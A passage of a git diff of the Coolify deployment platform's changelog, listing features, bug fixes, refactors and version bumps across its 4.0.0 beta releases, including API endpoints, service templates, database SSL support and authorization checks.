services +- Custom docker compose commands +- Add environment description + able to change name +- Raw docker compose deployments +- Add www-non-www redirects to traefik +- Import backups +- Search between resources +- Move resources between projects / environments +- Clone any resource +- Shared environments +- Concurrent builds / server +- Able to deploy multiple resources with webhook +- Add PR comments +- Dashboard live deployment view +- Added manual webhook support for bitbucket +- Add initial support for custom docker run commands +- Cleanup unreachable servers +- Tags and tag deploy webhooks +- Clone to env +- Multi deployments +- Cleanup queue +- Magic for traefik redirectregex in services +- Revalidate server +- Disable gzip compression on service applications +- Save github app permission locally +- Minversion for services +- Able to add dynamic configurations from proxy dashboard +- Custom server limit +- Delay container/server jobs +- Add static ipv4 ipv6 support +- Server disabled by overflow +- Preview deployment logs +- Collect webhooks during maintenance +- Logs and execute commands with several servers +- Domains api endpoint +- Resources api endpoint +- Team api endpoint +- Add deployment details to deploy endpoint +- Add deployments api +- Experimental caddy support +- Dynamic configuration for caddy +- Reset password +- Show resources on source page +- Able to run scheduler/horizon programatically +- Change page width +- Watch paths +- Able to make rsa/ed ssh keys +- *(application)* Update submodules after git checkout +- Add amazon linux 2023 +- Upload large backups +- Edit domains easier for compose +- Able to delete configuration from server +- Configuration checker for all resources +- Allow tab in textarea +- Dynamic mux time +- Literal env variables +- Lazy load stuffs + tell user if compose based deployments have missing envs +- Can edit file/dir volumes from ui in compose based apps +- Upgrade Appwrite service template to 1.5 +- Upgrade Appwrite service template to 1.5 +- Add db name to backup notifications +- Initial datalist +- Update service contribution docs URL +- The final pricing plan, pay-as-you-go +- Add container name to network aliases in ApplicationDeploymentJob +- Add lazy loading for images in General.php and improve Docker Compose file handling in Application.php +- Experimental sentinel +- Start Sentinel on servers. +- Pull new sentinel image and restart container +- Init metrics +- Add AdminRemoveUser command to remove users from the database +- Adding new COOLIFY_ variables +- Save commit message and better view on deployments +- Toggle label escaping mechanism +- Shows the latest deployment commit + message on status +- New manual update process + remove next_channel +- Add lastDeploymentInfo and lastDeploymentLink props to breadcrumbs and status components +- Sort envs alphabetically and creation date +- Improve sorting of environment variables in the All component +- Update healthcheck test in StartMongodb action +- Add pull_request_id filter to get_last_successful_deployment method in Application model +- Add hc logs to healthchecks +- Add SerpAPI as a Github Sponsor +- Admin view for deleting users +- Scheduled task failed notification +- If the time seems too long it remains at 0s +- Improve Docker Engine start logic in ServerStatusJob +- If proxy stopped manually, it won't start back again +- Exclude_from_hc magic +- Gitea manual webhooks +- Add container logs in case the container does not start healthy +- Handle incomplete expired subscriptions in Stripe webhook +- Add more persistent storage types +- Add PHP memory limit environment variable to docker-compose.prod.yml +- Add manual update option to UpdateCoolify handle method +- Add port configuration for Vaultwarden service +- Able to change database passwords on the UI. It won't sync to the database. +- Able to add several domains to compose based previews +- Add bounty program link to bug report template +- Add titles +- Db proxy logs +- Easily redirect between www-and-non-www domains +- Add logos for new sponsors +- Add homepage template +- Update homepage.yaml with environment variables and volumes +- Spanish translation +- Cancelling a deployment will check if new could be started. +- Add supaguide logo to donations section +- Nixpacks now could reach local dbs internally +- Add Tigris logo to other/logos directory +- COOLIFY_CONTAINER_NAME predefined variable +- Charts +- Sentinel + charts +- Container metrics +- Add high priority queue +- Add metrics warning for servers without Sentinel enabled +- Add blacksmith logo to donations section +- Preselect server and destination if only one found +- More api endpoints +- Add API endpoint to update application by UUID +- Update statusnook logo filename in compose template +- Local fonts +- More API endpoints +- Bulk env update api endpoint +- Update server settings metrics history days to 7 +- New app API endpoint +- Private gh deployments through api +- Lots of api endpoints +- Api api api api api api +- Rename CloudCleanupSubs to CloudCleanupSubscriptions +- Early fraud warning webhook +- Improve internal notification message for early fraud warning webhook +- Add schema for uuid property in app update response +- Cleanup unused docker networks from proxy +- Compose parser v2 +- Display time interval for rollback images +- Add security and storage access key env to twenty template +- Add new logo for Latitude +- Enable legacy model binding in Livewire configuration +- Improve error handling in loadComposeFile method +- Add readonly labels +- Preserve git repository +- Force cleanup server +- Create/delete project endpoints +- Add patch request to projects +- Add server api endpoints +- Add branddev logo to README.md +- Update API endpoint summaries +- Update Caddy button label in proxy.blade.php +- Check custom internal name through server's applications. +- New server check job +- Delete team in cloud without subscription +- Coolify init should cleanup stuck networks in proxy +- Add manual update check functionality to settings page +- Update auto update and update check frequencies in settings +- Update Upgrade component to check for latest version of Coolify +- Improve homepage service template +- Support map fields in Directus +- Labels by proxy type +- Able to generate only the required labels for resources +- Preserve git repository with advanced file storages +- Added Windmill template +- Added Budibase template +- Add shm-size for custom docker commands +- Add custom docker container options to all databases +- Able to select different postgres database +- Add new logos for jobscollider and hostinger +- Order scheduled task executions +- Add Code Server environment variables to Service model +- Add coolify build env variables to building phase +- Add new logos for GlueOps, Ubicloud, Juxtdigital, Saasykit, and Massivegrid +- Add new logos for GlueOps, Ubicloud, Juxtdigital, Saasykit, and Massivegrid +- Update server_settings table to force docker cleanup +- Update Docker Compose file with DB_URL environment variable +- Refactor shared.php to improve environment variable handling +- Expose project description in API response +- Add elixir finetunes to the deployment job +- Make coolify full width by default +- Fully functional terminal for command center +- Custom terminal host +- Add buddy logo +- Add nullable constraint to 'fingerprint' column in private_keys table +- *(api)* Add an endpoint to execute a command +- *(api)* Add endpoint to execute a command +- Add ContainerStatusTypes enum for managing container status +- Allow specify use_build_server when creating/updating an application +- Add support for `use_build_server` in API endpoints for creating/updating applications +- Add Mixpost template +- Update resource deletion job to allow configurable options through API +- Add query parameters for deleting configurations, volumes, docker cleanup, and connected networks +- Add command to check application deployment queue +- Support Hetzner S3 +- Handle HTTPS domain in ConfigureCloudflareTunnels +- Backup all databases for mysql,mariadb,postgresql +- Restart service without pulling the latest image +- Add strapi template +- Add it-tools service template and logo +- Add homarr service tamplate and logo +- Add Argilla service configuration to Service model +- Add Invoice Ninja service configuration to Service model +- Project search on frontend +- Add ollama service with open webui and logo +- Update setType method to use slug value for type +- Refactor setType method to use slug value for type +- Refactor setType method to use slug value for type +- Add Supertokens template +- Add easyappointments service template +- Add dozzle template +- Adds forgejo service with runners +- Add Mautic 4 and 5 to service templates +- Add keycloak template +- Add onedev template +- Improve search functionality in project selection +- Add customHelper to stack-form +- Add cloudbeaver template +- Add ntfy template +- Add qbittorrent template +- Add Homebox template +- Add owncloud service and logo +- Add immich service +- Auto generate url +- Refactored to work with coolify auto env vars +- Affine service template and logo +- Add LibreTranslate template +- Open version in a new tab +- Add Transmission template +- Add transmission healhcheck +- Add zipline template +- Dify template +- Required envs +- Add EdgeDB +- Show warning if people would like to use sslip with https +- Add is shared to env variables +- Variabel sync and support shared vars +- Add notification settings to server_disk_usage +- Add coder service tamplate and logo +- Debug mode for sentinel +- Add jitsi template +- Add --gpu support for custom docker command +- Add Firefox template +- Add template for Wiki.js +- Add upgrade logs to /data/coolify/source +- Custom nginx configuration for static deployments + fix 404 redirects in nginx conf +- Check local horizon scheduler deployments +- Add internal api docs to /docs/api with auth +- Add proxy type change to create/update apis +- Add MacOS template +- Add Windows template +- *(service)* :sparkles: add mealie +- Add hex magic env var +- Add deploy-only token permission +- Able to deploy without cache on every commit +- Update private key nam with new slug as well +- Allow disabling default redirect, set status to 503 +- Add TLS configuration for default redirect in Server model +- Slack notifications +- Introduce root permission +- Able to download schedule task logs +- Migrate old email notification settings from the teams table +- Migrate old discord notification settings from the teams table +- Migrate old telegram notification settings from the teams table +- Add slack notifications to a new table +- Enable success messages again +- Use new notification stuff inside team model +- Some more notification settings and better defaults +- New email notification settings +- New shared function name `is_transactional_emails_enabled()` +- New shared notifications functions +- Email Notification Settings Model +- Telegram notification settings Model +- Discord notification settings Model +- Slack notification settings Model +- New Discord notification UI +- New Slack notification UI +- New telegram UI +- Use new notification event names +- Always sent notifications +- Scheduled task success notification +- Notification trait +- Get discord Webhook form new table +- Get Slack Webhook form new table +- Use new table or instance settings for email +- Use new place for settings and topic IDs for telegram +- Encrypt instance email settings +- Use encryption in instance settings model +- Scheduled task success and failure notifications +- Add docker cleanup success and failure notification settings columns +- UI for docker cleanup success and failure notification +- Docker cleanup email views +- Docker cleanup success and failure notification files +- Scheduled task success email +- Send new docker cleanup notifications +- :passport_control: integrate Authentik authentication with Coolify +- *(notification)* Add Pushover +- Add seeder command and configuration for database seeding +- Add new password magic env with symbols +- Add documenso service +- New ServerReachabilityChanged event +- Use new ServerReachabilityChanged event instead of isDirty +- Add infomaniak oauth +- Add server disk usage check frequency +- Add environment_uuid support and update API documentation +- Add service/resource/project labels +- Add coolify.environment label +- Add database subtype +- Migrate to new encryption options +- New encryption options +- Able to import full db backups for pg/mysql/mariadb +- Restore backup from server file +- Docker volume data cloning +- Move volume data cloning to a Job +- Volume cloning for ResourceOperations +- Remote server volume cloning +- Add horizon server details to queue +- Enhance horizon:manage command with worker restart check +- Add is_coolify_host to the server api responses +- DB migration for Backup retention +- UI for backup retention settings +- New global s3 and local backup deletion function +- Use new backup deletion functions +- Add calibre-web service +- Add actual-budget service +- Add rallly service +- Template for Gotenberg, a Docker-powered stateless API for PDF files +- Enhance import command options with additional guidance and improved checkbox label +- Purify for better sanitization +- Move docker cleanup to its own tab +- DB and Model for docker cleanup executions +- DockerCleanupExecutions relationship +- DockerCleanupDone event +- Get command and output for logs from CleanupDocker +- New sidebar menu and order +- Docker cleanup executions UI +- Add execution log to dockerCleanupJob +- Improve deployment UI +- Root user envs and seeding +- Email, username and password validation when they are set via envs +- Improved error handling and log output +- Add root user configuration variables to production environment +- Add log file check message in upgrade script for better troubleshooting +- Add root user details to install script +- *(core)* Wip version of coolify.json +- *(core)* Add SOURCE_COMMIT variable to build environment in ApplicationDeploymentJob +- *(service)* Update affine.yaml with AI environment variables (#4918) +- *(service)* Add new service Flipt (#4875) +- *(docs)* Update tech stack +- *(terminal)* Show terminal unavailable if the container does not have a shell on the global terminal UI +- *(ui)* Improve deployment UI +- *(template)* Add Open Web UI +- *(templates)* Add Open Web UI service template +- *(ui)* Update GitHub source creation advanced section label +- *(core)* Add dynamic label reset for application settings +- *(ui)* Conditionally enable advanced application settings based on label readonly status +- *(env)* Added COOLIFY_RESOURCE_UUID environment variable +- *(vite)* Add Cloudflare async script and style tag attributes +- *(meta)* Add comprehensive SEO and social media meta tags +- *(core)* Add name to default proxy configuration +- Add application api route +- Container logs +- Remove ansi color from log +- Add lines query parameter +- *(changelog)* Add git cliff for automatic changelog generation +- *(workflows)* Improve changelog generation and workflows +- *(ui)* Add periodic status checking for services +- *(deployment)* Ensure private key is stored in filesystem before deployment +- *(slack)* Show message title in notification previews (#5063) +- *(i18n)* Add Arabic translations (#4991) +- *(i18n)* Add French translations (#4992) +- *(services)* Update `service-templates.json` +- *(ui)* Add top padding to pricing plans view +- *(core)* Add error logging and cron parsing to docker/server schedules +- *(core)* Prevent using servers with existing resources as build servers +- *(ui)* Add textarea switching option in service compose editor +- *(ui)* Add wire:key to two-step confirmation settings +- *(database)* Add index to scheduled task executions for improved query performance +- *(database)* Add index to scheduled database backup executions +- *(billing)* Add Stripe past due subscription status tracking +- *(ui)* Add past due subscription warning banner - *(service)* Neon - *(migration)* Add `ssl_certificates` table and model - *(migration)* Add ssl setting to `standalone_postgresqls` table @@ -1699,4202 +1081,1087 @@ ### 🚀 Features - *(notifications)* Add discord ping functionality and settings - *(user)* Implement session deletion on password reset - *(github)* Enhance repository loading and validation in applications +- *(database)* Disable MongoDB SSL by default in migration +- *(database)* Add CA certificate generation for database servers +- *(application)* Add SPA configuration and update Nginx generation logic +- *(deployments)* Add list application deployments api route +- *(deploy)* Add pull request ID parameter to deploy endpoint +- *(api)* Add pull request ID parameter to applications endpoint +- *(api)* Add endpoints for retrieving application logs and deployments +- *(lang)* Added Norwegian language (#5280) +- *(dep)* Bump all dependencies +- *(lang)* Added Azerbaijani language updated turkish language. (#5497) +- *(lang)* Added Portuguese from Brazil language (#5500) +- *(lang)* Add Indonesian language translations (#5513) +- *(api)* Update OpenAPI spec for services (#5448) +- *(proxy)* Enhance proxy handling and port conflict detection +- *(Deploy)* Add info dispatch for proxy check initiation +- *(EnvironmentVariable)* Add handling for Redis credentials in the environment variable component +- *(EnvironmentVariable)* Implement protection for critical environment variables and enhance deletion logic +- *(Application)* Add networkAliases attribute for handling network aliases as JSON or comma-separated values +- *(GithubApp)* Update default events to include 'pull_request' and streamline event handling +- *(CleanupDocker)* Add support for realtime image management in Docker cleanup process +- *(Deployment)* Enhance queue_application_deployment to handle existing deployments and return appropriate status messages +- *(SourceManagement)* Add functionality to change Git source and display current source in the application settings +- *(OpenApi)* Enhance OpenAPI specifications by adding UUID parameters for application, project, and service updates; improve deployment listing with pagination parameters; update command signature for OpenApi generation +- *(subscription)* Enhance subscription management with loading states and Stripe status checks +- Add HTTP Basic Authentication +- *(readme)* Add new sponsors Supadata AI and WZ-IT to the README +- *(core)* Enable magic env variables for compose based applications +- *(deployment)* Add repository_project_id handling for private GitHub apps and clean up unused Caddy label logic +- *(api)* Enhance OpenAPI specifications with token variable and additional key attributes +- *(docker)* Add HTTP Basic Authentication support and enhance hostname parsing in Docker run conversion +- *(api)* Add HTTP Basic Authentication fields to OpenAPI specifications and enhance PrivateKey model descriptions +- *(README)* Add InterviewPal sponsorship link and corresponding SVG icon +- *(migration)* Add 'is_migrated' and 'custom_type' columns to service_applications and service_databases tables +- *(backup)* Implement custom database type selection and enhance scheduled backups management +- *(README)* Add Gozunga and Macarne to sponsors list +- *(redis)* Add scheduled cleanup command for Redis keys and enhance cleanup logic +- *(core)* Add 'postmarketos' to supported OS list +- *(service)* Add memos service template (#5032) +- *(ui)* Upgrade to Tailwind v4 (#5710) +- *(service)* Add Navidrome service template (#5022) +- *(service)* Add Passbolt service (#5769) +- *(service)* Add Vert service (#5663) +- *(service)* Add Ryot service (#5232) +- *(service)* Add Marimo service (#5559) +- *(service)* Add Diun service (#5113) +- *(service)* Add Observium service (#5613) +- *(service)* Add Leantime service (#5792) +- *(service)* Add Limesurvey service (#5751) +- *(service)* Add Paymenter service (#5809) +- *(service)* Add CodiMD service (#4867) +- *(modal)* Add dispatchAction property to confirmation modal +- *(security)* Implement server patching functionality +- *(service)* Add Typesense service (#5643) +- *(service)* Add Yamtrack service (#5845) +- *(service)* Add PG Back Web service (#5079) +- *(service)* Update Maybe service and adjust it for the new release (#5795) +- *(oauth)* Set redirect uri as optional and add default value (#5760) +- *(service)* Add apache superset service (#4891) +- *(service)* Add One Time Secret service (#5650) +- *(service)* Add Seafile service (#5817) +- *(service)* Add Netbird-Client service (#5873) +- *(service)* Add OrangeHRM and Grist services (#5212) +- *(rules)* Add comprehensive documentation for Coolify architecture and development practices for AI tools, especially for cursor +- *(server)* Implement server patch check notifications +- *(api)* Add latest query param to Service restart API (#5881) +- *(api)* Add connect_to_docker_network setting to App creation API (#5691) +- *(routes)* Restrict backup download access to team admins and owners +- *(destination)* Update confirmation modal text and add persistent storage warning for server deployment +- *(terminal-access)* Implement terminal access control for servers and containers, including UI updates and backend logic +- *(ca-certificate)* Add CA certificate management functionality with UI integration and routing +- *(security-patches)* Add update check initialization and enhance notification messaging in UI +- *(previews)* Add force deploy without cache functionality and update deploy method to accept force rebuild parameter +- *(security-patterns)* Expand sensitive patterns list to include additional security-related variables +- *(database-backup)* Add MongoDB credential extraction and backup handling to DatabaseBackupJob +- *(activity-monitor)* Implement auto-scrolling functionality and dynamic content observation for improved user experience +- *(utf8-handling)* Implement UTF-8 sanitization for command outputs and enhance error handling in logs processing +- *(navbar)* Add Traefik dashboard availability check and server IP handling; refactor dynamic configurations loading +- *(proxy-dashboard)* Implement ProxyDashboardCacheService to manage Traefik dashboard cache; clear cache on configuration changes and proxy actions +- *(terminal-connection)* Enhance terminal connection handling with auto-connect feature and improved status messaging +- *(terminal)* Implement resize handling with ResizeObserver for improved terminal responsiveness +- *(migration)* Add is_sentinel_enabled column to server_settings with default true +- *(seeder)* Dispatch StartProxy action for each server in ProductionSeeder +- *(seeder)* Add CheckAndStartSentinelJob dispatch for each server in ProductionSeeder +- *(seeder)* Conditionally dispatch StartProxy action based on proxy check result +- *(service)* Update Changedetection template (#5937) +- *(service)* Add Miniflux service (#5843) +- *(service)* Add Pingvin Share service (#5969) +- *(auth)* Add Discord OAuth Provider (#5552) +- *(auth)* Add Clerk OAuth Provider (#5553) +- *(auth)* Add Zitadel OAuth Provider (#5490) +- *(core)* Set custom API rate limit (#5984) +- *(service)* Enhance service status handling and UI updates +- *(cleanup)* Add functionality to delete teams with no members or servers in CleanupStuckedResources command +- *(ui)* Add heart icon and enhance popup messaging for sponsorship support +- *(settings)* Add sponsorship popup toggle and corresponding database migration +- *(migrations)* Add optimized indexes to activity_log for improved query performance +- *(template)* Added excalidraw (#6095) +- *(template)* Add excalidraw service configuration with documentation and tags +- *(scheduling)* Add command to manually run scheduled database backups and tasks with options for chunking, delays, and dry runs +- *(scheduling)* Add frequency filter option for manual execution of scheduled jobs +- *(logging)* Implement scheduled logs command and enhance backup/task scheduling with cron checks +- *(logging)* Add frequency filters for scheduled logs command to support hourly, daily, weekly, and monthly job views +- *(scheduling)* Introduce ScheduledJobManager and ServerResourceManager for enhanced job scheduling and resource management +- *(previews)* Implement soft delete and cleanup for ApplicationPreview, enhancing resource management in DeleteResourceJob +- *(service)* Enable password protection for the Wireguard Ul +- *(queues)* Improve Horizon config to reduce CPU and RAM usage (#6212) +- *(service)* Add Gowa service (#6164) +- *(container)* Add updatedSelectedContainer method to connect to non-default containers and update wire:model for improved reactivity +- *(application)* Implement environment variable updates for Docker Compose applications, including creation, updating, and deletion of SERVICE_FQDN and SERVICE_URL variables +- *(service)* Add TriliumNext service (#5970) +- *(service)* Add Matrix service (#6029) +- *(service)* Add GitHub Action runner service (#6209) +- *(terminal)* Dispatch focus event for terminal after connection and enhance focus handling in JavaScript +- *(lang)* Add Polish language & improve forgot_password translation (#6306) +- *(service)* Update Authentik template (#6264) +- *(service)* Add sequin template (#6105) +- *(service)* Add pi-hole template (#6020) +- *(services)* Add Chroma service (#6201) +- *(service)* Add OpenPanel template (#5310) +- *(service)* Add librechat template (#5654) +- *(service)* Add Homebox service (#6116) +- *(service)* Add pterodactyl & wings services (#5537) +- *(service)* Add Bluesky PDS template (#6302) +- *(input)* Add autofocus attribute to input component for improved accessibility +- *(core)* Finally fqdn is fqdn and url is url. haha +- *(user)* Add changelog read tracking and unread count method +- *(templates)* Add new service templates and update existing compose files for various applications +- *(changelog)* Implement automated changelog fetching from GitHub and enhance changelog read tracking +- *(drizzle-gateway)* Add new drizzle-gateway service with configuration and logo +- *(drizzle-gateway)* Enhance service configuration by adding Master Password field and updating compose file path +- *(templates)* Add new service templates for Homebox, LibreChat, Pterodactyl, and Wings with corresponding configurations and logos +- *(templates)* Add Bluesky PDS service template and update compose file with new environment variable +- *(readme)* Add CubePath as a big sponsor and include new small sponsors with logos +- *(api)* Add create_environment endpoint to ProjectController for environment creation in projects +- *(api)* Add endpoints for managing environments in projects, including listing, creating, and deleting environments +- *(backup)* Add disable local backup option and related logic for S3 uploads +- *(dev patches)* Add functionality to send test email with patch data in development mode +- *(templates)* Added category per service +- *(email)* Implement email change request and verification process +- Generate category for services +- *(service)* Add elasticsearch template (#6300) +- *(sanitization)* Integrate DOMPurify for HTML sanitization across components +- *(cleanup)* Add command for sanitizing name fields across models +- *(sanitization)* Enhance HTML sanitization with improved DOMPurify configuration +- *(validation)* Centralize validation patterns for names and descriptions +- *(git-settings)* Add support for shallow cloning in application settings +- *(auth)* Implement authorization checks for server updates across multiple components +- *(auth)* Implement authorization for PrivateKey management +- *(auth)* Implement authorization for Docker and server management +- *(validation)* Add custom validation rules for Git repository URLs and branches +- *(security)* Add authorization checks for package updates in Livewire components +- *(auth)* Implement authorization checks for application management +- *(auth)* Enhance API error handling for authorization exceptions +- *(auth)* Add comprehensive authorization checks for all kind of resource creations +- *(auth)* Implement authorization checks for database management +- *(auth)* Refine authorization checks for S3 storage and service management +- *(auth)* Implement comprehensive authorization checks across API controllers +- *(auth)* Introduce resource creation authorization middleware and policies for enhanced access control +- *(auth)* Add middleware for resource creation authorization +- *(auth)* Enhance authorization checks in Livewire components for resource management +- *(validation)* Add ValidIpOrCidr rule for validating IP addresses and CIDR notations; update API access settings UI and add comprehensive tests +- *(docs)* Update architecture and development guidelines; enhance form components with built-in authorization system and improve routing documentation +- *(docs)* Expand authorization documentation for custom Alpine.js components; include manual protection patterns and implementation guidelines +- *(sentinel)* Implement SentinelRestarted event and update Livewire components to handle server restart notifications +- *(api)* Enhance IP access control in middleware and settings; support CIDR notation and special case for 0.0.0.0 to allow all IPs +- *(acl)* Change views/backend code to able to use proper ACL's later on. Currently it is not enabled. +- *(docs)* Add Backlog.md guidelines and project manager backlog agent; enhance CLAUDE.md with new links for task management +- *(docs)* Add tasks for implementing Docker build caching and optimizing staging builds; include detailed acceptance criteria and implementation plans +- *(docker)* Implement Docker cleanup processing in ScheduledJobManager; refactor server task scheduling to streamline cleanup job dispatching +- *(docs)* Expand Backlog.md guidelines with comprehensive usage instructions, CLI commands, and best practices for task management to enhance project organization and collaboration +- *(policies)* Add EnvironmentVariablePolicy for managing environment variables ( it was missing ) +- *(domains)* Implement domain conflict detection and user confirmation modal across application components +- *(domains)* Add force_domain_override option and enhance domain conflict detection responses ### 🐛 Bug Fixes -- *(api)* Docker compose based apps creationg through api -- *(database)* Improve database type detection for Supabase Postgres images -- *(ssl)* Permission of ssl crt and key inside the container -- *(ui)* Make sure file mounts do not showing the encrypted values -- *(ssl)* Make default ssl mode require not verify-full as it does not need a ca cert -- *(ui)* Select component should not always uses title case -- *(db)* SSL certificates table and model -- *(migration)* Ssl certificates table -- *(databases)* Fix database name users new `uuid` instead of DB one -- *(database)* Fix volume and file mounts and naming -- *(migration)* Store subjectAlternativeNames as a json array in the db -- *(ssl)* Make sure the subjectAlternativeNames are unique and stored correctly -- *(ui)* Certificate expiration data is null before starting the DB -- *(deletion)* Fix DB deletion -- *(ssl)* Improve SSL cert file mounts -- *(ssl)* Always create ca crt on disk even if it is already there -- *(ssl)* Use mountPath parameter not a hardcoded path -- *(ssl)* Use 1 instead of on for mysql -- *(ssl)* Do not remove SSL directory -- *(ssl)* Wrong ssl cert is loaded to the server and UI error when regenerating SSL -- *(ssl)* Make sure when regenerating the CA cert it is not overwritten with a server cert -- *(ssl)* Regenerating certs for a specific DB -- *(ssl)* Fix MariaDB and MySQL need CA cert -- *(ssl)* Add mount path to DB to fix regeneration of certs -- *(ssl)* Fix SSL regeneration to sign with CA cert and use mount path -- *(ssl)* Get caCert correctly -- *(ssl)* Remove caCert even if it is a folder by accident -- *(ssl)* Ger caCert and `mountPath` correctly -- *(ui)* Only show Regenerate SSL Certificates button when there is a cert -- *(ssl)* Server id -- *(ssl)* When regenerating SSL certs the cert is not singed with the new CN -- *(ssl)* Adjust ca paths for MySQL -- *(ssl)* Remove mode selection for MariaDB as it is not supported -- *(ssl)* Permission issue with MariDB cert and key and paths -- *(ssl)* Rename Redis mode to verify-ca as it is not verify-full -- *(ui)* Remove unused mode for MongoDB -- *(ssl)* KeyDB port and caCert args are missing -- *(ui)* Enable SSL is not working correctly for KeyDB -- *(ssl)* Add `--tls` arg to DrangflyDB -- *(notification)* Always send SSL notifications -- *(database)* Change default value of enable_ssl to false for multiple tables -- *(ui)* Correct grammatical error in 404 page -- *(seeder)* Update GitHub app name in GithubAppSeeder -- *(plane)* Update APP_RELEASE to v0.25.2 in environment configuration -- *(domain)* Dispatch refreshStatus event after successful domain update -- *(database)* Correct container name generation for service databases -- *(database)* Limit container name length for database proxy -- *(database)* Handle unsupported database types in StartDatabaseProxy -- *(database)* Simplify container name generation in StartDatabaseProxy -- *(install)* Handle potential errors in Docker address pool configuration -- *(backups)* Retention settings -- *(redis)* Set default redis_username for new instances -- *(core)* Improve instantSave logic and error handling -- *(general)* Correct link to framework specific documentation -- *(core)* Redirect healthcheck route for dockercompose applications -- *(api)* Use name from request payload -- *(issue#4746)* Do not use setGitImportSettings inside of generateGitLsRemoteCommands -- Correct some spellings -- *(service)* Replace deprecated credentials env variables on keycloak service -- *(keycloak)* Update keycloak image version to 26.1 -- *(console)* Handle missing root user in password reset command -- *(ssl)* Handle missing CA certificate in SSL regeneration job -- *(copy-button)* Ensure text is safely passed to clipboard - -### 💼 Other - -- Bump Coolify to 4.0.0-beta.400 -- *(migration)* Add SSL fields to database tables -- SSL Support for KeyDB - -### 🚜 Refactor - -- *(ui)* Unhide log toggle in application settings -- *(nginx)* Streamline default Nginx configuration and improve error handling -- *(install)* Clean up install script and enhance Docker installation logic -- *(ScheduledTask)* Clean up code formatting and remove unused import -- *(app)* Remove unused MagicBar component and related code -- *(database)* Streamline SSL configuration handling across database types -- *(application)* Streamline healthcheck parsing from Dockerfile -- *(notifications)* Standardize getRecipients method signatures -- *(configuration)* Centralize configuration management in ConfigurationRepository -- *(docker)* Update image references to use centralized registry URL -- *(env)* Add centralized registry URL to environment configuration -- *(storage)* Simplify file storage iteration in Blade template -- *(models)* Add is_directory attribute to LocalFileVolume model -- *(modal)* Add ignoreWire attribute to modal-confirmation component -- *(invite-link)* Adjust layout for better responsiveness in form -- *(invite-link)* Enhance form layout for improved responsiveness -- *(network)* Enhance docker network creation with ipv6 fallback -- *(network)* Check for existing coolify network before creation -- *(database)* Enhance encryption process for local file volumes - -### 📚 Documentation - -- Update changelog -- Update changelog -- *(CONTRIBUTING)* Add note about Laravel Horizon accessibility -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(migration)* Remove unused columns -- *(ssl)* Improve code in ssl helper -- *(migration)* Ssl cert and key should not be nullable -- *(ssl)* Rename CA cert to `coolify-ca.crt` because of conflicts -- Rename ca crt folder to ssl -- *(ui)* Improve valid until handling -- Improve code quality suggested by code rabbit -- *(supabase)* Update Supabase service template and Postgres image version -- *(versions)* Update version numbers for coolify and nightly - -## [4.0.0-beta.398] - 2025-03-01 - -### 🚀 Features - -- *(billing)* Add Stripe past due subscription status tracking -- *(ui)* Add past due subscription warning banner - -### 🐛 Bug Fixes - -- *(billing)* Restrict Stripe subscription status update to 'active' only - -### 💼 Other - -- Bump Coolify to 4.0.0-beta.398 - -### 🚜 Refactor - -- *(billing)* Enhance Stripe subscription status handling and notifications - -## [4.0.0-beta.397] - 2025-02-28 - -### 🐛 Bug Fixes - -- *(billing)* Handle 'past_due' subscription status in Stripe processing -- *(revert)* Label parsing -- *(helpers)* Initialize command variable in parseCommandFromMagicEnvVariable - -### 📚 Documentation - -- Update changelog - -## [4.0.0-beta.396] - 2025-02-28 - -### 🚀 Features - -- *(ui)* Add wire:key to two-step confirmation settings -- *(database)* Add index to scheduled task executions for improved query performance -- *(database)* Add index to scheduled database backup executions - -### 🐛 Bug Fixes - -- *(core)* Production dockerfile -- *(ui)* Update storage configuration guidance link -- *(ui)* Set default SMTP encryption to starttls -- *(notifications)* Correct environment URL path in application notifications -- *(config)* Update default PostgreSQL host to coolify-db instead of postgres -- *(docker)* Improve Docker compose file validation process -- *(ui)* Restrict service retrieval to current team -- *(core)* Only validate custom compose files -- *(mail)* Set default mailer to array when not specified -- *(ui)* Correct redirect routes after task deletion -- *(core)* Adding a new server should not try to make the default docker network -- *(core)* Clean up unnecessary files during application image build -- *(core)* Improve label generation and merging for applications and services - -### 💼 Other - -- Bump all dependencies (#5216) - -### 🚜 Refactor - -- *(ui)* Simplify file storage modal confirmations -- *(notifications)* Improve transactional email settings handling -- *(scheduled-tasks)* Improve scheduled task creation and management - -### 📚 Documentation - -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- Bump helper and realtime version - -## [4.0.0-beta.395] - 2025-02-22 - -### 📚 Documentation - -- Update changelog - -## [4.0.0-beta.394] - 2025-02-17 - -### 📚 Documentation - -- Update changelog - -## [4.0.0-beta.393] - 2025-02-15 - -### 📚 Documentation - -- Update changelog - -## [4.0.0-beta.392] - 2025-02-13 - -### 🚀 Features - -- *(ui)* Add top padding to pricing plans view -- *(core)* Add error logging and cron parsing to docker/server schedules -- *(core)* Prevent using servers with existing resources as build servers -- *(ui)* Add textarea switching option in service compose editor - -### 🐛 Bug Fixes - -- Pull latest image from registry when using build server -- *(deployment)* Improve server selection for deployment cancellation -- *(deployment)* Improve log line rendering and formatting -- *(s3-storage)* Optimize team admin notification query -- *(core)* Improve connection testing with dynamic disk configuration for s3 backups -- *(core)* Update service status refresh event handling -- *(ui)* Adjust polling intervals for database and service status checks -- *(service)* Update Fider service template healthcheck command -- *(core)* Improve server selection error handling in Docker component -- *(core)* Add server functionality check before dispatching container status -- *(ui)* Disable sticky scroll in Monaco editor -- *(ui)* Add literal and multiline env support to services. -- *(services)* Owncloud docs link -- *(template)* Remove db-migration step from `infisical.yaml` (#5209) -- *(service)* Penpot (#5047) - -### 🚜 Refactor - -- Use pull flag on docker compose up - -### 📚 Documentation - -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- Rollback Coolify version to 4.0.0-beta.392 -- Bump Coolify version to 4.0.0-beta.393 -- Bump Coolify version to 4.0.0-beta.394 -- Bump Coolify version to 4.0.0-beta.395 -- Bump Coolify version to 4.0.0-beta.396 -- *(services)* Update zipline to use new Database env var. (#5210) -- *(service)* Upgrade authentik service -- *(service)* Remove unused env from zipline - -## [4.0.0-beta.391] - 2025-02-04 - -### 🚀 Features - -- Add application api route -- Container logs -- Remove ansi color from log -- Add lines query parameter -- *(changelog)* Add git cliff for automatic changelog generation -- *(workflows)* Improve changelog generation and workflows -- *(ui)* Add periodic status checking for services -- *(deployment)* Ensure private key is stored in filesystem before deployment -- *(slack)* Show message title in notification previews (#5063) -- *(i18n)* Add Arabic translations (#4991) -- *(i18n)* Add French translations (#4992) -- *(services)* Update `service-templates.json` - -### 🐛 Bug Fixes - -- *(core)* Improve deployment failure Slack notification formatting -- *(core)* Update Slack notification formatting to use bold correctly -- *(core)* 